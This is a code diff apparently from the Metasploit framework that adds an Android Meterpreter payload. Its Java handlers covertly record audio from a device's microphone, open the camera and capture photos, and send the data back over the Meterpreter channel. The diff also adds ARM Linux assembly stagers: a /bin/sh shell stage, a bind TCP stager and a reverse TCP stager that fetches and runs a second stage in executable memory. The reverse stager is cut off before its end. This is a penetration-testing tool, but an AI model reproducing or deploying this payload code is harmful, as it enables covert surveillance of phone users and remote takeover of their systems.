TLVPacket grp = new TLVPacket();
|
||||
grp.add(TLVType.TLV_TYPE_PID, pid);
|
||||
grp.add(TLVType.TLV_TYPE_USER_NAME, parts[0]);
|
||||
grp.add(TLVType.TLV_TYPE_PROCESS_NAME, parts[parts.length - 1]);
|
||||
response.addOverflow(TLVType.TLV_TYPE_PROCESS_GROUP, grp);
|
||||
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
+75
@@ -0,0 +1,75 @@
|
||||
|
||||
package com.metasploit.meterpreter.android;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.DataOutputStream;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
|
||||
|
||||
import android.media.AudioFormat;
|
||||
import android.media.AudioRecord;
|
||||
import android.media.MediaRecorder.AudioSource;
|
||||
import android.util.Log;
|
||||
|
||||
public class webcam_audio_record_android extends webcam_audio_record implements Command {
|
||||
|
||||
private static final int AUDIO_SAMPLE_RATE = 8000;
|
||||
private static final int AUDIO_CHANNEL_CONFIG = AudioFormat.CHANNEL_CONFIGURATION_MONO;
|
||||
private static final int AUDIO_CHANNEL_ENCODING = AudioFormat.ENCODING_PCM_16BIT;
|
||||
|
||||
private static final int TLV_EXTENSIONS = 20000;
|
||||
private static final int TLV_TYPE_AUDIO_DURATION = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1);
|
||||
private static final int TLV_TYPE_AUDIO_DATA = TLVPacket.TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 2);
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
AudioRecord recorder = null;
|
||||
|
||||
try {
|
||||
int duration = request.getIntValue(TLV_TYPE_AUDIO_DURATION);
|
||||
int bufferSize = AudioRecord.getMinBufferSize(AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_CONFIG, AUDIO_CHANNEL_ENCODING);
|
||||
int fullBuffer = duration * AUDIO_SAMPLE_RATE;
|
||||
if (fullBuffer < bufferSize) {
|
||||
fullBuffer = bufferSize;
|
||||
}
|
||||
|
||||
recorder = new AudioRecord(AudioSource.MIC, AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_CONFIG, AUDIO_CHANNEL_ENCODING, fullBuffer);
|
||||
DataOutputStream da = new DataOutputStream(baos);
|
||||
byte[] buffer = new byte[fullBuffer];
|
||||
|
||||
recorder.startRecording();
|
||||
recorder.read(buffer, 0, buffer.length);
|
||||
|
||||
short bSamples = (AUDIO_CHANNEL_ENCODING == AudioFormat.ENCODING_PCM_16BIT) ? 16 : 8;
|
||||
short nChannels = (AUDIO_CHANNEL_CONFIG == AudioFormat.CHANNEL_CONFIGURATION_MONO) ? 1 : 2;
|
||||
da.writeBytes("RIFF");
|
||||
da.writeInt(Integer.reverseBytes(36+fullBuffer));
|
||||
da.writeBytes("WAVE");
|
||||
da.writeBytes("fmt ");
|
||||
da.writeInt(Integer.reverseBytes(16)); // Sub-chunk size, 16 for PCM
|
||||
da.writeShort(Short.reverseBytes((short) 1)); // AudioFormat, 1 for PCM
|
||||
da.writeShort(Short.reverseBytes(nChannels));// Number of channels, 1 for mono, 2 for stereo
|
||||
da.writeInt(Integer.reverseBytes(AUDIO_SAMPLE_RATE)); // Sample rate
|
||||
da.writeInt(Integer.reverseBytes(AUDIO_SAMPLE_RATE*bSamples*nChannels/8)); // Byte rate, SampleRate*NumberOfChannels*BitsPerSample/8
|
||||
da.writeShort(Short.reverseBytes((short)(nChannels*bSamples/8))); // Block align, NumberOfChannels*BitsPerSample/8
|
||||
da.writeShort(Short.reverseBytes(bSamples)); // Bits per sample
|
||||
da.writeBytes("data");
|
||||
da.writeInt(Integer.reverseBytes(fullBuffer));
|
||||
da.write(buffer);
|
||||
da.flush();
|
||||
|
||||
} catch (Throwable x) {
|
||||
Log.e(webcam_audio_record_android.class.getSimpleName(), "Error reading voice audio ", x);
|
||||
} finally {
|
||||
if (recorder != null) {
|
||||
recorder.stop();
|
||||
recorder.release();
|
||||
}
|
||||
}
|
||||
response.add(TLV_TYPE_AUDIO_DATA, baos.toByteArray());
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
+59
@@ -0,0 +1,59 @@
|
||||
|
||||
package com.metasploit.meterpreter.android;
|
||||
|
||||
import android.graphics.PixelFormat;
|
||||
import android.hardware.Camera;
|
||||
import android.hardware.Camera.Parameters;
|
||||
import android.hardware.Camera.PictureCallback;
|
||||
import android.util.Log;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
|
||||
|
||||
public class webcam_get_frame_android extends webcam_audio_record implements Command {
|
||||
|
||||
private static final int TLV_EXTENSIONS = 20000;
|
||||
private static final int TLV_TYPE_WEBCAM_IMAGE = TLVPacket.TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 1);
|
||||
private static final int TLV_TYPE_WEBCAM_QUALITY = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 3);
|
||||
|
||||
private byte[] cameraData;
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
|
||||
int quality = request.getIntValue(TLV_TYPE_WEBCAM_QUALITY);
|
||||
|
||||
try {
|
||||
if (webcam_start_android.camera == null) {
|
||||
return ERROR_FAILURE;
|
||||
}
|
||||
|
||||
cameraData = null;
|
||||
//Parameters params = webcam_start_android.camera.getParameters();
|
||||
//params.setPictureFormat(PixelFormat.JPEG);
|
||||
//params.set("jpeg-quality", quality);
|
||||
webcam_start_android.camera.takePicture(null, null, new PictureCallback() {
|
||||
@Override
|
||||
public void onPictureTaken(byte[] data, Camera camera) {
|
||||
cameraData = data;
|
||||
synchronized (webcam_get_frame_android.this) {
|
||||
webcam_get_frame_android.this.notify();
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
synchronized (this) {
|
||||
wait(10000);
|
||||
}
|
||||
|
||||
if (cameraData != null) {
|
||||
response.add(TLV_TYPE_WEBCAM_IMAGE, cameraData);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
Log.e(getClass().getSimpleName(), "webcam error ", e);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
+58
@@ -0,0 +1,58 @@
|
||||
|
||||
package com.metasploit.meterpreter.android;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
|
||||
|
||||
import android.util.Log;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
public class webcam_list_android extends webcam_audio_record implements Command {
|
||||
|
||||
private static final int TLV_EXTENSIONS = 20000;
|
||||
private static final int TLV_TYPE_WEBCAM_NAME = TLVPacket.TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 4);
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
|
||||
try {
|
||||
Class<?> cameraClass = Class.forName("android.hardware.Camera");
|
||||
Object cameraInfo = null;
|
||||
Field field = null;
|
||||
int cameraCount = 0;
|
||||
try {
|
||||
Method getNumberOfCamerasMethod = cameraClass.getMethod("getNumberOfCameras");
|
||||
cameraCount = (Integer)getNumberOfCamerasMethod.invoke(null, (Object[])null);
|
||||
} catch (NoSuchMethodException nsme) {
|
||||
response.add(TLV_TYPE_WEBCAM_NAME, "Default Camera"); // Pre 2.2 device
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
Class<?> cameraInfoClass = Class.forName("android.hardware.Camera$CameraInfo");
|
||||
if (cameraInfoClass != null) {
|
||||
cameraInfo = cameraInfoClass.newInstance();
|
||||
}
|
||||
if (cameraInfo != null) {
|
||||
field = cameraInfo.getClass().getField("facing");
|
||||
}
|
||||
Method getCameraInfoMethod = cameraClass.getMethod("getCameraInfo", Integer.TYPE, cameraInfoClass);
|
||||
if (getCameraInfoMethod != null && cameraInfoClass != null && field != null) {
|
||||
for (int camIdx = 0; camIdx < cameraCount; camIdx++) {
|
||||
getCameraInfoMethod.invoke(null, camIdx, cameraInfo);
|
||||
int facing = field.getInt(cameraInfo);
|
||||
if (facing == 1) { // Camera.CameraInfo.CAMERA_FACING_FRONT
|
||||
response.addOverflow(TLV_TYPE_WEBCAM_NAME, "Front Camera");
|
||||
} else {
|
||||
response.addOverflow(TLV_TYPE_WEBCAM_NAME, "Back Camera");
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
Log.e(getClass().getSimpleName(), "webcam error ", e);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
+42
@@ -0,0 +1,42 @@
|
||||
|
||||
package com.metasploit.meterpreter.android;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
|
||||
|
||||
import android.hardware.Camera;
|
||||
import android.util.Log;
|
||||
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
public class webcam_start_android extends webcam_audio_record implements Command {
|
||||
|
||||
private static final int TLV_EXTENSIONS = 20000;
|
||||
private static final int TLV_TYPE_WEBCAM_INTERFACE_ID = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 2);
|
||||
|
||||
public static Camera camera;
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
|
||||
int camId = request.getIntValue(TLV_TYPE_WEBCAM_INTERFACE_ID);
|
||||
|
||||
try {
|
||||
Class<?> cameraClass = Class.forName("android.hardware.Camera");
|
||||
Method cameraOpenMethod = cameraClass.getMethod("open", Integer.TYPE);
|
||||
if (cameraOpenMethod != null) {
|
||||
camera = (Camera)cameraOpenMethod.invoke(null, camId - 1);
|
||||
} else {
|
||||
camera = Camera.open();
|
||||
}
|
||||
camera.setPreviewDisplay(null);
|
||||
camera.startPreview();
|
||||
|
||||
} catch (Exception e) {
|
||||
Log.e(getClass().getSimpleName(), "webcam error ", e);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
+28
@@ -0,0 +1,28 @@
|
||||
|
||||
package com.metasploit.meterpreter.android;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
|
||||
|
||||
import android.util.Log;
|
||||
|
||||
public class webcam_stop_android extends webcam_audio_record implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
|
||||
try {
|
||||
if (webcam_start_android.camera != null) {
|
||||
webcam_start_android.camera.stopPreview();
|
||||
webcam_start_android.camera.release();
|
||||
webcam_start_android.camera = null;
|
||||
}
|
||||
|
||||
} catch (Exception e) {
|
||||
Log.e(getClass().getSimpleName(), "webcam error ", e);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
+6
-3
@@ -37,9 +37,12 @@ public class CommandManager {
|
||||
apiVersion = ExtensionLoader.V1_6;
|
||||
} catch (Throwable t) {
|
||||
}
|
||||
int vmVersion = System.getProperty("java.version").charAt(2) - '2' + ExtensionLoader.V1_2;
|
||||
if (vmVersion >= ExtensionLoader.V1_2 && vmVersion < apiVersion)
|
||||
apiVersion = vmVersion;
|
||||
String javaversion = System.getProperty("java.version");
|
||||
if (javaversion != null && javaversion.length() > 2) {
|
||||
int vmVersion = javaversion.charAt(2) - '2' + ExtensionLoader.V1_2;
|
||||
if (vmVersion >= ExtensionLoader.V1_2 && vmVersion < apiVersion)
|
||||
apiVersion = vmVersion;
|
||||
}
|
||||
this.javaVersion = apiVersion;
|
||||
|
||||
// load core commands
|
||||
|
||||
+28
@@ -32,6 +32,7 @@ public class Meterpreter {
|
||||
|
||||
private List/* <Channel> */channels = new ArrayList();
|
||||
private final CommandManager commandManager;
|
||||
private final DataInputStream in;
|
||||
private final DataOutputStream out;
|
||||
private final Random rnd = new Random();
|
||||
private final ByteArrayOutputStream errBuffer;
|
||||
@@ -39,6 +40,7 @@ public class Meterpreter {
|
||||
private final boolean loadExtensions;
|
||||
private List/* <byte[]> */tlvQueue = null;
|
||||
|
||||
|
||||
/**
|
||||
* Initialize the meterpreter.
|
||||
*
|
||||
@@ -53,7 +55,27 @@ public class Meterpreter {
|
||||
* @throws Exception
|
||||
*/
|
||||
public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors) throws Exception {
|
||||
this(in, rawOut, loadExtensions, redirectErrors, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* Initialize the meterpreter.
|
||||
*
|
||||
* @param in
|
||||
* Input stream to read from
|
||||
* @param rawOut
|
||||
* Output stream to write into
|
||||
* @param loadExtensions
|
||||
* Whether to load (as a {@link ClassLoader} would do) the extension jars; disable this if you want to use your debugger's edit-and-continue feature or if you do not want to update the jars after each build
|
||||
* @param redirectErrors
|
||||
* Whether to redirect errors to the internal error buffer; disable this to see the errors on the victim's standard error stream
|
||||
* @param beginExecution
|
||||
* Whether to begin executing immediately
|
||||
* @throws Exception
|
||||
*/
|
||||
public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors, boolean beginExecution) throws Exception {
|
||||
this.loadExtensions = loadExtensions;
|
||||
this.in = in;
|
||||
this.out = new DataOutputStream(rawOut);
|
||||
commandManager = new CommandManager();
|
||||
channels.add(null); // main communication channel?
|
||||
@@ -64,6 +86,12 @@ public class Meterpreter {
|
||||
errBuffer = null;
|
||||
err = System.err;
|
||||
}
|
||||
if (beginExecution) {
|
||||
startExecuting();
|
||||
}
|
||||
}
|
||||
|
||||
public void startExecuting() throws Exception {
|
||||
try {
|
||||
while (true) {
|
||||
int len = in.readInt();
|
||||
|
||||
+1
-1
@@ -46,7 +46,7 @@ public class stdapi_sys_process_get_processes implements Command {
|
||||
br.close();
|
||||
proc.waitFor();
|
||||
} else {
|
||||
Process proc = Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "ps ax -w -o pid,user,cmd --no-header 2>/dev/null" });
|
||||
Process proc = Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "ps ax -w -o pid=,user=,command= 2>/dev/null" });
|
||||
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
|
||||
String line;
|
||||
while ((line = br.readLine()) != null) {
|
||||
|
||||
Vendored
+15
@@ -47,6 +47,21 @@
|
||||
<module>meterpreter</module>
|
||||
<module>version-compatibility-check</module>
|
||||
</modules>
|
||||
<profiles>
|
||||
<profile>
|
||||
<activation>
|
||||
<property>
|
||||
<name>android.sdk.path</name>
|
||||
</property>
|
||||
</activation>
|
||||
<!-- deploy built files to Metasploit data directory -->
|
||||
<id>android</id>
|
||||
<modules>
|
||||
<module>androidpayload/app</module>
|
||||
<module>androidpayload/library</module>
|
||||
</modules>
|
||||
</profile>
|
||||
</profiles>
|
||||
<prerequisites>
|
||||
<maven>3.0</maven>
|
||||
</prerequisites>
|
||||
|
||||
BIN
Binary file not shown.
+81
@@ -0,0 +1,81 @@
|
||||
<project>
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<groupId>com.metasploit</groupId>
|
||||
<artifactId>android-api3-scents</artifactId>
|
||||
<version>1.5_r4</version>
|
||||
<packaging>pom</packaging>
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>org.codehaus.mojo</groupId>
|
||||
<artifactId>build-helper-maven-plugin</artifactId>
|
||||
<version>1.8</version>
|
||||
<executions>
|
||||
<execution>
|
||||
<id>attach-artifacts</id>
|
||||
<phase>package</phase>
|
||||
<goals>
|
||||
<goal>attach-artifact</goal>
|
||||
</goals>
|
||||
<configuration>
|
||||
<artifacts>
|
||||
<artifact>
|
||||
<file>${project.artifactId}-${project.version}.signature</file>
|
||||
<type>signature</type>
|
||||
</artifact>
|
||||
</artifacts>
|
||||
</configuration>
|
||||
</execution>
|
||||
</executions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
<profiles>
|
||||
<profile>
|
||||
<!-- regenerate the .signature file like this: -->
|
||||
<!-- mvn -Dandroid.sdk.path=... -P regenerate package -->
|
||||
<id>regenerate</id>
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>org.codehaus.mojo</groupId>
|
||||
<artifactId>animal-sniffer-maven-plugin</artifactId>
|
||||
<version>1.9</version>
|
||||
<executions>
|
||||
<execution>
|
||||
<id>regenerate</id>
|
||||
<phase>package</phase>
|
||||
<goals>
|
||||
<goal>build</goal>
|
||||
</goals>
|
||||
</execution>
|
||||
</executions>
|
||||
<configuration>
|
||||
<javaHomeClassPath>
|
||||
<javaHomeClassPath>${android.sdk.path}/platforms/android-3/android.jar</javaHomeClassPath>
|
||||
</javaHomeClassPath>
|
||||
</configuration>
|
||||
</plugin>
|
||||
<plugin>
|
||||
<artifactId>maven-antrun-plugin</artifactId>
|
||||
<version>1.7</version>
|
||||
<executions>
|
||||
<execution>
|
||||
<phase>package</phase>
|
||||
<goals>
|
||||
<goal>run</goal>
|
||||
</goals>
|
||||
<configuration>
|
||||
<target>
|
||||
<copy todir="${project.basedir}"
|
||||
file="${project.basedir}/target/${project.artifactId}-${project.version}.signature" />
|
||||
</target>
|
||||
</configuration>
|
||||
</execution>
|
||||
</executions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
</profile>
|
||||
</profiles>
|
||||
</project>
|
||||
@@ -0,0 +1,84 @@
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<groupId>com.metasploit</groupId>
|
||||
<artifactId>Metasploit-JavaPayload-Compatibility-android-api3</artifactId>
|
||||
<parent>
|
||||
<groupId>com.metasploit</groupId>
|
||||
<artifactId>Metasploit-JavaPayload-Compatibility-parent</artifactId>
|
||||
<version>1-SNAPSHOT</version>
|
||||
</parent>
|
||||
<packaging>jar</packaging>
|
||||
<name>JavaPayload Compatibility Checks (Android API 3)</name>
|
||||
<url>http://www.metasploit.com/</url>
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>com.google.android</groupId>
|
||||
<artifactId>android</artifactId>
|
||||
<version>1.5_r4</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>org.apache.maven.plugins</groupId>
|
||||
<artifactId>maven-compiler-plugin</artifactId>
|
||||
<version>3.0</version>
|
||||
<configuration>
|
||||
<source>1.5</source>
|
||||
<target>1.5</target>
|
||||
</configuration>
|
||||
</plugin>
|
||||
<plugin>
|
||||
<artifactId>maven-antrun-plugin</artifactId>
|
||||
<version>1.7</version>
|
||||
<executions>
|
||||
<execution>
|
||||
<id>copy-source</id>
|
||||
<phase>generate-sources</phase>
|
||||
<goals>
|
||||
<goal>run</goal>
|
||||
</goals>
|
||||
<configuration>
|
||||
<target>
|
||||
<mkdir dir="${project.basedir}/target/generated-sources/copy/" />
|
||||
<copy todir="${project.basedir}/target/generated-sources/copy">
|
||||
<fileset dir="${project.basedir}/../java16/target/generated-sources/copy">
|
||||
<include name="**/*.java" />
|
||||
<exclude name="**/stdapi_net_config_get_interfaces_V1_6.java" />
|
||||
<exclude name="**/stdapi_fs_stat_V1_6.java" />
|
||||
<exclude name="**/stdapi_ui_desktop_screenshot_V1_4.java" />
|
||||
<exclude name="metasploit/PayloadApplet.java" />
|
||||
</fileset>
|
||||
<fileset dir="${project.basedir}/../../androidpayload/app/src" includes="**/*.java" excludes="**/MainActivity.java" />
|
||||
<fileset dir="${project.basedir}/../../androidpayload/library/src" includes="**/*.java" />
|
||||
</copy>
|
||||
</target>
|
||||
</configuration>
|
||||
</execution>
|
||||
</executions>
|
||||
</plugin>
|
||||
<plugin>
|
||||
<groupId>org.codehaus.mojo</groupId>
|
||||
<artifactId>animal-sniffer-maven-plugin</artifactId>
|
||||
<version>1.9</version>
|
||||
<executions>
|
||||
<execution>
|
||||
<id>verify-java</id>
|
||||
<phase>test</phase>
|
||||
<goals>
|
||||
<goal>check</goal>
|
||||
</goals>
|
||||
<configuration>
|
||||
<signature>
|
||||
<groupId>com.metasploit</groupId>
|
||||
<artifactId>android-api3-scents</artifactId>
|
||||
<version>1.5_r4</version>
|
||||
</signature>
|
||||
</configuration>
|
||||
</execution>
|
||||
</executions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
</project>
|
||||
@@ -54,5 +54,7 @@
|
||||
<module>java14</module>
|
||||
<module>java13</module>
|
||||
<module>java12</module>
|
||||
<module>android-api3-scents</module>
|
||||
<module>android-api3</module>
|
||||
</modules>
|
||||
</project>
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
@@
|
||||
@
|
||||
@ Name: generic
|
||||
@ Qualities: -
|
||||
@ Authors: nemo <nemo [at] felinemenace.org>
|
||||
@ License: MSF_LICENSE
|
||||
@ Description:
|
||||
@
|
||||
@ dup2 / execve("/bin/sh") stage for Linux ARM LE architecture.
|
||||
@@
|
||||
|
||||
.text
|
||||
.globl _start
|
||||
_start:
|
||||
int dup2(int oldfd, int newfd);
|
||||
mov r7,#63 ; __NR_dup2
|
||||
mov r1,#3
|
||||
up:
|
||||
mov r0,r12 ; oldfd (descriptor stored in r12 by the stager)
|
||||
sub r1,#1 ; newfd
|
||||
swi 0
|
||||
cmp r1,#1
|
||||
bge up
|
||||
@ execve(const char *path, char *const argv[], char *const envp[]);
|
||||
mov r7,#11 ; __NR_execve
|
||||
add r0,pc,#24 ; *path
|
||||
sub sp,#24
|
||||
str r0,[sp,#-20]
|
||||
mov r2,#0
|
||||
str r2,[sp,#-16]
|
||||
add r1,sp,#-20 ; *argv[]
|
||||
mov r2,r1 ; *envp[]
|
||||
swi 0
|
||||
.string "/bin/sh"
|
||||
@@ -0,0 +1,101 @@
|
||||
@@
|
||||
@
|
||||
@ Name: stager_sock_bind
|
||||
@ Qualities: -
|
||||
@ Authors: nemo <nemo [at] felinemenace.org>
|
||||
@ License: MSF_LICENSE
|
||||
@ Description:
|
||||
@
|
||||
@ Implementation of a Linux portbind TCP stager for ARM LE architecture.
|
||||
@
|
||||
@ Socket descriptor in r12.
|
||||
@
|
||||
@ Assemble with: as stager_sock_bind.s -o stager_sock_bind.o
|
||||
@ Link with: ld stager_sock_bind.o -o stager_sock_bind
|
||||
@
|
||||
@ Meta-Information:
|
||||
@
|
||||
@ meta-shortname=Linux Bind TCP Stager
|
||||
@ meta-description=Listen on a port for a connection and run a second stage
|
||||
@ meta-authors=nemo <nemo [at] felinemenace.org>
|
||||
@ meta-os=linux
|
||||
@ meta-arch=armle
|
||||
@ meta-category=stager
|
||||
@ meta-connection-type=bind
|
||||
@ meta-name=bind_tcp
|
||||
@@
|
||||
|
||||
.text
|
||||
.globl _start
|
||||
_start:
|
||||
@ int socket(int domain, int type, int protocol);
|
||||
ldr r7,=281 @ __NR_socket
|
||||
mov r0,#2 @ domain = AF_INET
|
||||
mov r1,#1 @ type = SOCK_STREAM
|
||||
mov r2,#6 @ protocol = IPPROTO_TCP
|
||||
swi 0
|
||||
@ int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
|
||||
mov r12,r0 @ sockfd
|
||||
add r7,#1 @ __NR_bind
|
||||
add r1,pc,#176 @ *addr
|
||||
mov r2,#16 @ addrlen
|
||||
swi 0
|
||||
@ int listen(int sockfd, int backlog);
|
||||
add r7,#2 @ __NR_listen
|
||||
mov r0,r12 @ sockfd
|
||||
swi 0
|
||||
@ int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
|
||||
add r7,#1 @ __NR_accept
|
||||
mov r0,r12 @ sockfd
|
||||
sub r1,r1,r1 @ *addr = NULL
|
||||
mov r2,r1 @ *addrlen = NULL
|
||||
swi 0
|
||||
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
|
||||
mov r12,r0 @ sockfd
|
||||
sub sp,#4
|
||||
add r7,#6 @ __NR_recv
|
||||
mov r1,sp @ *buf (on the stack)
|
||||
mov r2,#4 @ len
|
||||
mov r3,#0 @ flags
|
||||
swi 0
|
||||
@ round length
|
||||
ldr r1,[sp,#0]
|
||||
ldr r3,=0xfffff000
|
||||
and r1,r1,r3
|
||||
mov r2,#1
|
||||
lsl r2,#12
|
||||
@ void *mmap2(void *addr, size_t length, int prot, int flags, int fd, off_t pgoffset);
|
||||
add r1,r2 @ length
|
||||
mov r7, #192 @ __NR_mmap2
|
||||
ldr r0,=0xffffffff @ *addr = NULL
|
||||
mov r2,#7 @ prot = PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
ldr r3,=0x1022 @ flags = MAP_ANON | MAP_PRIVATE
|
||||
mov r4,r0 @ fd
|
||||
mov r5,#0 @ pgoffset
|
||||
swi 0
|
||||
@ recv loop
|
||||
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
|
||||
add r7,#99 @ __NR_recv
|
||||
mov r1,r0 @ *buf
|
||||
mov r0,r12 @ sockfd
|
||||
mov r3,#0 @ flags
|
||||
@ remove blocksize from total length
|
||||
loop:
|
||||
ldr r2,[sp,#0]
|
||||
sub r2,#1000
|
||||
str r2,[sp,#0]
|
||||
cmp r2, #0
|
||||
ble last
|
||||
mov r2,#1000 @ len
|
||||
swi 0
|
||||
b loop
|
||||
last:
|
||||
add r2,#1000 @ len
|
||||
swi 0
|
||||
@ branch to code
|
||||
mov pc,r1
|
||||
@ addr
|
||||
@ port: 4444 , sin_fam = 2
|
||||
.word 0x5c110002
|
||||
@ ip
|
||||
.word 0x00000000
|
||||
@@ -0,0 +1,92 @@
|
||||
@@
|
||||
@
|
||||
@ Name: stager_sock_reverse
|
||||
@ Qualities: -
|
||||
@ Authors: nemo <nemo [at] felinemenace.org>
|
||||
@ License: MSF_LICENSE
|
||||
@ Description:
|
||||
@
|
||||
@ Implementation of a Linux reverse TCP stager for ARM LE architecture.
|
||||
@
|
||||
@ Socket descriptor in r12.
|
||||
@
|
||||
@ Assemble with: as stager_sock_reverse.s -o stager_sock_reverse.o
|
||||
@ Link with: ld stager_sock_reverse.o -o stager_sock_reverse
|
||||
@
|
||||
@ Meta-Information:
|
||||
@
|
||||
@ meta-shortname=Linux Reverse TCP Stager
|
||||
@ meta-description=Connect back to the framework and run a second stage
|
||||
@ meta-authors=nemo <nemo [at] felinemenace.org>
|
||||
@ meta-os=linux
|
||||
@ meta-arch=armle
|
||||
@ meta-category=stager
|
||||
@ meta-connection-type=reverse
|
||||
@ meta-name=reverse_tcp
|
||||
@@
|
||||
|
||||
.text
|
||||
.globl _start
|
||||
_start:
|
||||
@ int socket(int domain, int type, int protocol);
|
||||
ldr r7,=281 @ __NR_socket
|
||||
mov r0,#2 @ domain = AF_INET
|
||||
mov r1,#1 @ type = SOCK_STREAM
|
||||
mov r2,#6 @ protocol = IPPROTO_TCP
|
||||
swi 0
|
||||
@ int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
|
||||
mov r12,r0 @ sockfd
|
||||
add r7,#2 @ __NR_socket
|
||||
add r1,pc,#144 @ *addr
|
||||
mov r2,#16 @ addrlen
|
||||
swi 0
|
||||
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
|
||||
mov r0,r12 @ sockfd
|
||||
sub sp,#4
|
||||
add r7,#8 @ __NR_recv
|
||||
mov r1,sp @ *buf (on the stack)
|
||||
mov r2,#4 @ len
|
||||
mov r3,#0 @ flags
|
||||
swi 0
|
||||
@ round length
|
||||
ldr r1,[sp,#0]
|
||||
ldr r3,=0xfffff000
|
||||
and r1,r1,r3
|
||||
mov r2,#1
|
||||
lsl r2,#12
|
||||
@ void *mmap2(void *addr, size_t length, int prot, int flags, int fd, off_t pgoffset);
|
||||
add r1,r2 @ length
|
||||
mov r7, #192 @ __NR_mmap2
|
||||
ldr r0,=0xffffffff @ *addr = NULL
|
||||
mov r2,#7 @ prot = PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
ldr r3,=0x1022 @ flags = MAP_ANON | MAP_PRIVATE
|
||||
mov r4,r0 @ fd
|
||||
mov r5,#0 @ pgoffset
|
||||
swi 0
|
||||
@ recv loop
|
||||
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
|
||||
add r7,#99 @ __NR_recv
|
||||
mov r1,r0 @ *buf
|
||||
mov r0,r12 @ sockfd
|
||||
mov r3,#0 @ flags
|
||||
@ remove blocksize from total length
|
||||
loop:
|
||||
ldr r2,[sp,#0]
|
||||
sub r2,#1000
|
||||
str r2,[sp,#0]
|
||||
cmp r2, #0
|
||||
ble last
|
||||
mov r2,#1000 @ len
|
||||
swi 0
|
||||
b loop
|
||||
last:
|
||||
add r2,#1000 @ len
|
||||
swi 0
|
||||
@ branch to code
|
||||
